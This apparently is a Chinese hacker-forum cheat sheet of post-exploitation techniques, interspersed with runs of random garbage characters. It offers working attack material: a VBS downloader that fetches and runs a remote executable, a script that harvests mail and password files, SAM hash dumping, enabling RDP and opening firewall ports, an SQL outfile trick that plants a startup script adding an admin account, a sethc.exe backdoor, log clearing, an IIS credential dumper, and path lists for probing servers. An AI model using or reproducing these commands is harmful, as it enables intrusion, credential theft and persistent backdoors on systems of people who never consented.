1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
* l2 {7 L$ w& ], o5 walzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  
5 H  K! `& T8 O
& M" \$ W9 M: G6 N4 ?" ~' {) L提权先执行systeminfo
token 漏洞补丁号 KB956572
- D+ S. K+ I4 a. qChurrasco          kb952004
命令行RAR打包~~·
; t5 ]7 [; C2 a0 ?1 ~; |" K( ?rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
2、收集系统信息的脚本  
for window：

@echo off
7 z+ T/ [' c$ w5 t, n  |3 W3 Q# gecho #########system info collection
systeminfo
" L; |" N+ i/ V+ `# Z% Wver
hostname
net user
" F8 ]( O8 T# Fnet localgroup
! c# O0 n6 b# ]" j. \, S$ Cnet localgroup administrators
! h9 A7 I+ Y/ Y( {' M9 xnet user guest
" N; U: o& G& X$ V4 K4 pnet user administrator
: O) C( J/ S; b5 x
( o" \3 g& ~6 ?- C6 cecho #######at- with   atq#####
4 u% h3 s6 b3 M& e2 i5 w9 B) m9 Mecho schtask /query
# V# V6 Q9 w  c& E5 M
* Y! v/ H+ K: w! E8 xecho
' J. {! s. p1 o8 \/ C: Aecho ####task-list#############
1 _) K8 ~6 C+ t, `7 ptasklist /svc
echo
echo ####net-work infomation
ipconfig/all
6 @* i2 M! a$ t: v8 {0 U6 kroute print
+ x. q# z4 ]: W& v. F. rarp -a
* N: N& s3 Q; K3 `netstat -anipconfig /displaydns
5 e  j& r, c7 techo
) g/ B! R3 q% ~* gecho #######service############
" o1 }8 @1 Z. {6 V! Asc query type= service state= all
! x" ^/ {1 ]" u( _echo #######file-##############
; p  @1 Z% C9 Xcd \
tree -F
5 I5 v8 h4 V, W' |, Efor linux：

7 ?: p. C0 V& a6 I% [0 R#!/bin/bash
) E: g- W1 z7 Q" v; X+ R! o  Z
+ R/ ]# G" G" [6 C4 Z, b, G' @echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
$ O( o, E# t% T" ecat /proc/meminfo
; a* A( m" U9 w& R0 ^echo
: U7 t0 n' z/ ^7 C$ jcat /proc/cpuinfo
9 Z$ P& a, B: Q% R. l, fecho
rpm -qa 2>/dev/null
" l9 Y/ r" j8 o0 @6 T; h######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
* E2 E3 m) @3 H3 q! F4 Z' Z

echo 'u'r id is' `id`
echo ###atq&crontab#####
atq
8 L+ q* [8 G' n5 |. |0 d$ zcrontab -l
echo #####about var#####
' E. A; K: V9 Sset

! Z+ P. `+ N+ h( xecho #####about network###
/ N( _* H$ P: ~  R+ {5 m####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
hostname
9 \( D" a  ~" S& Ripconfig -a
arp -v
echo ########user####
( b# M: |* O5 }+ n2 u$ a, dcat /etc/passwd|grep -i sh
. J7 Y0 V6 `5 F$ j# d  b, Z3 f
echo ######service####
/ t8 w! ~4 h0 O9 }7 qchkconfig --list
/ p, B- T5 ], z( w- ~
! m% D7 _# r5 G3 r8 dfor i in {oracle,mysql,tomcat,samba,apache,ftp}
+ ?- V; G, r: u# @cat /etc/passwd|grep -i $i
& z( M' {9 Y) n0 I8 U7 l6 rdone

locate passwd >/tmp/password 2>/dev/null
sleep 5
locate password >>/tmp/password 2>/dev/null
- O1 }" ]  L$ U, D. Csleep 5
8 }' f: t' H! v* r; m# q) }locate conf >/tmp/sysconfig 2>dev/null
sleep 5
( l3 a8 c9 y1 B3 e6 |$ slocate config >>/tmp/sysconfig 2>/dev/null
sleep 5
' e7 }+ c5 |4 `. w$ Q* K3 P
# c! c; R1 l/ |9 `! D, _6 z###maybe can use "tree /"###
0 T6 W8 d$ B5 L7 Fecho ##packing up#########
+ P5 m! j& i) Ptar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
/ U6 o* |+ A8 m) `7 J1 R& o3、ethash 不免杀怎么获取本机hash。
/ B+ Z2 z/ M$ B) R7 r, w& g首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
+ d; }3 I* h1 U  K0 Y( E注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
3 G$ m0 J- p( Z+ \" S9 G接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
3 [, N3 J1 B# z  whash 抓完了记得把自己的账户密码改过来哦！
0 M7 N8 T; I& ]7 P据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
4 X" u0 t4 H9 M) {& I) Z——————————————
1 V9 p! r9 x2 J4、vbs 下载者
1 _9 b* H$ s/ u& H. l1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
4 O! ^7 ]+ u, A7 E- P" Zecho sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
# T; T+ i$ }% S! D# i; U5 Q: ^echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
" l$ P# u* u3 x& M0 h& [echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
/ H* ?. j# F. O- m5 y8 ?cftmon.vbs
' B/ u' \8 A9 C, N& p$ g
2
( d1 a2 R$ p# D- @0 WOn Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
7 `. T& B8 ^" XsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

; j/ Y2 }8 w0 D/ x5 |* _cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
5 [9 D  Z4 |' s5 P; {4 s
当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
  g% L+ e4 ~8 w——————————————————
5、
/ v5 Z% x$ q- H; n! v1.查询终端端口
: G! V8 W' B, |- F3 eREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
+ d: s3 Q9 W5 Z5 O2 s9 [3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
+ e. r  Z: K$ j# f$ H# N8 t& {! OREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
7 D; b: s1 G. G1 L9 _$ {7 K4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
; E* ]  I$ _& @0 j; i* |/ U. b8 ZREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
& N# _: h. u0 I- _0 G————————————————
6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
: P9 l0 k  V6 P% o2 Z$ u9 zinsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
- m% A4 s$ t2 r$ U6 [select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
0 y$ \) i6 Y; h, g5 x  Z7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
8、for /d %i in (d:\freehost\*) do @echo %i
9 ~+ X! k" R7 q/ p* ^
列出d的所有目录
  
8 T6 V7 \$ O, ]- e! q$ s2 u- Q% g! o  for /d %i in (???) do @echo %i
( C3 d" A4 h1 k: K/ t
2 D6 \9 H3 v. b把当前路径下文件夹的名字只有1-3个字母的打出来

6 B, K# [; Y5 Z9 i2.for /r %i in (*.exe) do @echo %i
  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
. a: M0 @3 p5 r3 M% y5 X
' S0 I2 F* y- p3 X. Q1 R3 N: J& p3.for /f %i in (c:\1.txt) do echo %i
  
' y: @' r  l+ @  I2 D2 \  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
; i3 h8 p" G3 r7 g0 h) n
4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

& M* V: o0 M+ {' \  delims=后的空格是分隔符 tokens是取第几个位置
——————————
) c6 v. m( p' H% k●注册表:
* S  R9 f3 w( |$ @9 I$ s1.Administrator注册表备份:
( @+ ^& i3 V  Y  ^! hreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
; z9 t) g2 [: N
2.修改3389的默认端口:
9 I! A/ G# l9 [# U0 \& |HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
3 H' ]/ ]( I: G* s修改PortNumber.

3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg

5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
+ G9 P# ]1 ?: }
. `$ f2 u6 V/ X2 ]" |8 F6.IPSec默认免除项88端口(需重启):
2 \' y% b7 S+ i% P8 b3 u: Treg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
9 c4 t* M3 i" F5 k或者
  i( A4 n1 Y" f: p" a4 I* Unetsh ipsec dynamic set config ipsecexempt value=0
/ Z3 q' H9 w3 S: {) E# \/ \8 n
4 z8 t" I8 T1 k' q+ j/ x7.停止指派策略"myipsec":
# k+ g  j% i# ^& q% d* Z3 f( d5 p. ?netsh ipsec static set policy name="myipsec" assign=n
# v) f3 P. a% w: `6 z. X
& X' }, E' v2 }" [: c* Z8.系统口令恢复LM加密:
0 _* B2 e; t9 B9 y7 dreg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
! I  L" a5 K) D
9.另类方法抓系统密码HASH
; s5 O0 W7 w- Y8 B7 x3 m7 nreg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
& c( ?$ C& e9 x% O$ ?" s4 Lreg save hklm\security c:\security.hive

10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
* W7 _* v( ^) z
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
! k1 E: o' D' n: _& {-----------------------------------
星外vbs(注：测试通过，好东西）
4 |8 h* i: S, r5 |/ @Set ObjService=GetObject("IIS://LocalHost/W3SVC")
+ c7 p0 {2 z7 w! B. tFor Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
/ F) J' b. d- yif err.number<>0 then
8 Q6 J  i5 Z1 `exit for
9 F) ]9 }6 K7 w; y( ^msgbox("error!")
wscript.quit
end if
( q+ @; _3 X$ s; `2 X* F# lserverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
8 p6 j2 i; C- H+ Y/ s/ y4 Upass=iisweb.AnonymousUserPass
9 |8 v2 m( S1 T* Xpath=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
1 a3 d: J6 _+ d5 `$ o0 ]6 J3 oend if
Next
wscript.echo list
Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
2 l: E2 f& C2 V: r" W复制代码
) A. T7 ?  v( k& _, e4 Z) D----------------------2011新气象，欢迎各位补充、指正、优化。----------------
( \* s" Y& e  z* ^1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
& x  i$ i( v7 X5 T" p1 W将folder.htt文件，加入以下代码：
% H: v$ }0 h% k3 k% O<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
! Q' t" l( Z- }& g- D( j8 W3 H然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
% l& ?  @8 f( i! rPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
* d2 ]& t3 c) Sasp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
# D1 Z3 `6 @5 F4 ^% j$ k) e url=request.severvariables("url")
* `/ ?3 B( X& t+ d6 c9 l5 S 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
url=request.severvariables("path_info")
. s! x6 l5 b9 u& l* \+ _, P path_info可以直接呈现虚拟路径 顺利解析gif大马

==============================================================
LINUX常见路径：

/etc/passwd
/etc/shadow
/etc/fstab
/etc/host.conf
/etc/motd
$ K/ z# S6 b0 j5 ?: w5 e3 k/etc/ld.so.conf
- O4 p% O! T" J/var/www/htdocs/index.php
/var/www/conf/httpd.conf
8 J' V; K" l9 x$ i: |7 @/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
8 k4 e" ]0 p) A) g' o: l/var/httpd/conf/httpd.conf
' M! c/ E, e: A, {/ H/var/httpd/htdocs/index.html
7 |8 \# y" W- q% i: P1 @/var/httpd/conf/php.ini
/var/www/index.html
( N2 M2 |% M* h4 `+ a7 b/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
4 K4 L/ ~! B& V/usr/local/apache/htdocs/index.php
/ {4 t: B, n1 x  W/usr/local/apache2/htdocs/index.html
! w3 U4 a# b4 g: e+ L/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
0 ^7 y& g( f. [1 a: y: M/tmp/apache/htdocs/index.html
' ?, B4 U2 E/ j  ?$ E$ U! H/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
6 ~: z" p& ~. T7 k1 \/etc/httpd/conf/httpd.conf
* V( y6 V9 H) ?/etc/httpd/htdocs/index.html
, |( a8 H! ^) |2 S/www/php/php.ini
  a( {' Y6 b: w. c$ S/www/php4/php.ini
/www/php5/php.ini
$ v2 L  l  }5 v& Y/www/conf/httpd.conf
/www/htdocs/index.php
# O2 n3 O! @  D* p3 J: m+ \3 A/www/htdocs/index.html
/ h5 m% E0 H/ H) N* \! x& T/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
  \' V( l& c; m5 o( g1 \( c/etc/apache2/apache.conf
) [, n/ S, F- I. e/etc/apache/httpd.conf
$ D+ ^7 n8 l1 G: ]  G  C6 i/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
* T1 @4 o7 l1 S& C8 B/etc/phpmyadmin/config.inc.php
2 v. Q4 G% D7 e7 [" V" N; N$ }- y  s/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
3 i3 F9 L+ X  ~1 M6 D/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
4 B' Y5 E. i! R/ ?/etc/httpd/logs/error.log
* F  d) M3 W7 o7 V5 ~/etc/httpd/logs/access_log
3 m. v+ e6 W2 e' K+ K/etc/httpd/logs/access.log
' Q2 }; o& K! n* r. \/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
. R, M+ k3 k7 R. j* \) {& L/var/log/apache/access.log
/var/log/apache2/error_log
% r: r) j1 R# s9 o" N5 Y- E/var/log/apache2/error.log
" c$ o4 Q9 b/ t/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
: {4 r( {+ Q+ V$ [/var/www/logs/error.log
, Z" m( |. i' E7 |+ l' W/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
4 Q9 v2 b- ?0 J+ F) V/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
6 }+ H+ x0 h' `/var/log/error.log
/var/log/access_log
/var/log/access.log
" W" p' r" _, c  ^+ S- p/usr/local/apache/logs/access_logaccess_log.old
, ?5 z1 x8 r' _3 V  x/usr/local/apache/logs/error_logerror_log.old
" z! d* X3 Y% u) T2 E) B6 B/etc/php.ini
/bin/php.ini
9 d# ?1 q- g* K# o/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
% h7 j, F! I2 Q- I  j5 p0 f/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
+ ?1 ]. D7 g2 R# Y) ?% R/usr/local/php4/php.ini
  ~/ e" D- ~0 P; Z/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
* M5 k0 i% b3 U9 q0 d/usr/local/php5/php5.ini
! y6 s$ ?! t/ Z4 Y: _, D+ K" ^/usr/local/apache/conf/php.ini
/ c  h  Q, `2 F# r+ A! Y2 }- j/usr/local/apache/conf/httpd.conf
. w$ ?! P: l& m/ G/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
8 v2 t! X% R- C/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
1 ~0 L1 ]3 G  o- Q6 B) y/etc/php/php.ini
/etc/php/php4/php.ini
6 G  F, H0 {. |. x/etc/php/apache/php.ini
/etc/php/apache2/php.ini
1 ^8 y3 c( M  z& G; E* F' s: a4 U/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
' E" r7 ]9 _. }6 @  \/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
: y+ c, J# t1 k' L/etc/php4/cgi/php.ini
# n6 v4 y* C* h7 X/etc/php5/cgi/php.ini
& ?. Y* w1 w9 D8 _$ ?/php5/php.ini
1 ~( u4 t* [. J/php4/php.ini
( R& ]" {/ R9 c- f/php/php.ini
$ r- B8 o1 r( [9 C/ h/PHP/php.ini
; I) f+ p$ \4 n8 r" |/ A2 E8 O/apache/php/php.ini
/xampp/apache/bin/php.ini
, C2 p3 v) \7 H/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
/var/log/mysql.log
& o5 Z2 t" U) M0 w/var/log/mysqlderror.log
/var/log/mysql/mysql.log
  i! K' z. o0 @, W/var/log/mysql/mysql-slow.log
8 G6 j, I1 n  w  h  e/var/mysql.log
9 }( O8 P0 @4 c5 L$ t9 ^* M5 K/var/lib/mysql/my.cnf
+ `' Z+ k  b" ~. u6 i4 L/usr/local/mysql/my.cnf
5 i4 E  V6 [) Z8 n/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
, b$ X0 d1 H* O9 b( x  B/etc/my.cnf
/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
1 |  ]1 |: U4 [/ M/usr/local/cpanel/logs/access_log
6 q% b$ r8 M. U. P/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
3 @% b- q  j. T0 \/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
# K1 f9 j, l2 g) W" A9 d* P! I/usr/local/share/examples/php/php.ini

( K+ K9 |7 R3 v; S: ~; w' c4 u, R7 ]2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
, O- Q- d/ ^, B. i, `
c:\windows\php.ini
  L, g6 t3 S2 Mc:\boot.ini
c:\1.txt
; x2 O2 s5 N9 I: p; Vc:\a.txt

c:\CMailServer\config.ini
% U! g- C6 k  v. p" x0 Y- Xc:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
7 j2 y/ R1 X& v" w/ _/ M: N; Lc:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
+ i/ B$ c, U8 n3 Z  nC:\WINDOWS\7i24tool.exe

c:\hzhost\databases\url.asp
5 X0 s6 K$ F) [# S% w# z
c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

) ~% u, M% Z' F+ k' N/ U+ kC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
, v( q/ ?6 ]! I' N' c( Z$ ?7 s1 I" |c:\www\index.html
c:\WWWROOT\index.html
c:\website\index.html
7 _3 G* r8 B6 L# X; y6 J3 sc:\web\index.asp
3 U+ i+ d- @0 ?c:\www\index.asp
: ~5 J. Y  g7 B6 t8 d3 M+ gc:\wwwsite\index.asp
( D2 t1 ?4 D' [# B# Q1 Y; Vc:\WWWROOT\index.asp
0 r* Y2 ]1 K! k3 G! i! Wc:\web\index.php
c:\www\index.php
c:\WWWROOT\index.php
3 E; g* Q/ j' U0 ?" k7 Uc:\WWWsite\index.php
c:\web\default.html
c:\www\default.html
c:\WWWROOT\default.html
c:\website\default.html
  N; l2 V: k4 O- k3 d: cc:\web\default.asp
6 W! T3 M; S6 m" x& C, _5 Lc:\www\default.asp
1 V8 h- C7 M8 D; xc:\wwwsite\default.asp
# V, j' D3 t# t* f6 ~# f1 X. tc:\WWWROOT\default.asp
c:\web\default.php
c:\www\default.php
c:\WWWROOT\default.php
c:\WWWsite\default.php
+ d3 ]2 r6 K# [( ~8 x5 EC:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
" V+ F6 u% t0 o$ qc:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
* [$ Q+ `+ T4 {4 RC:\Program Files\Microsoft Office\OFFICE11\winword.exe
# w- O2 `; Q& T$ @8 K9 h7 NC:\Program Files\Microsoft Office\OFFICE12\winword.exe
& m% J1 M4 t" [1 uC:\Program Files\Internet Explorer\IEXPLORE.EXE
8 I$ B8 k' L. N4 ^C:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
: Z5 L2 Y3 X& a& Q- R. t1 AC:\Program Files\360Safe\360safe.exe
' h8 C9 w  j8 J% N0 l# {! zC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
c:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
2 m% }3 W% g  q5 i4 |/ {C:\Documents and Settings\All Users\Start Menu\desktop.ini
; W9 P9 D+ x  H6 {C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
% J- {' ?: E+ u" u( i% qC:\Documents and Settings\Administrator\My Documents\1.txt
& P. ]8 T; }1 M% QC:\Documents and Settings\Administrator\桌面\1.txt
) S* E: E  o" X+ R2 z3 JC:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
1 ]  Q$ R) J- A& M3 xC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
) Z2 \& P: X2 V- m7 h$ Y7 lC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
) B8 X0 a  @4 ]* |6 _C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
$ f8 r; v( W- _; n8 `8 B0 E7 EC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
$ ~, W1 {0 \1 p9 ]- xC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
! }2 V- b, S) q4 H! e5 M7 bC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
4 L1 s8 e- R% P' EC:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
; U2 c6 c3 |; k- {( jC:\Program Files\MySQL\MySQL Server 5.0\COPYING
  R" ~, ~; u/ N* s) O  Y# E5 G7 SC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
2 O4 Q5 R% z  L) }4 z8 x5 T# d8 z, kc:\MySQL\MySQL Server 4.1\bin\mysql.exe
( G5 e8 k: I) }: z& wc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
) ?  S. W: E& _: Y7 pC:\WINDOWS\system32\inetsrv\w3wp.exe
; {/ f5 `3 H1 B: SC:\WINDOWS\system32\inetsrv\inetinfo.exe
% {) A$ i. c. y  B# {7 E: dC:\WINDOWS\system32\inetsrv\MetaBase.xml
5 D, m' g2 J) K4 C; k1 aC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
. D& S6 M  N8 y/ [: Nc:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
: ]0 Q7 E  Q. ~0 @+ i5 Mc:\Apache2\Apache2\bin\Apache.exe
7 {' `  ]8 N; m+ o/ ?  rc:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
2 a. U. C8 F' p( ~/ ?' pC:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
2 s) f: W5 G3 z0 N! P/usr/share/tomcat6/bin/startup.sh
: I$ E1 ^8 `4 `' f/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
5 a: l& \. O. R. f5 Z1 ?" s* Gc:\Program Files\Tencent\qq\User.db
& L' Q! q8 x" m& ~) o# Yc:\Program Files\Tencent\qq\qq.exe
( M  _% @( s' j% _. Cc:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
. i) L" h# W# O2 O) J: P! M8 ~  V7 ^c:\Program Files\Tencent\qq2008\qq.exe
: A$ B" C% }" c" D- x5 sc:\Program Files\Tencent\qq2010\bin\qq.exe
  C5 ~* c. X! b- ?+ _c:\Program Files\Tencent\qq\Users\All Users\Registry.db
. A( }8 G7 K1 ?' BC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
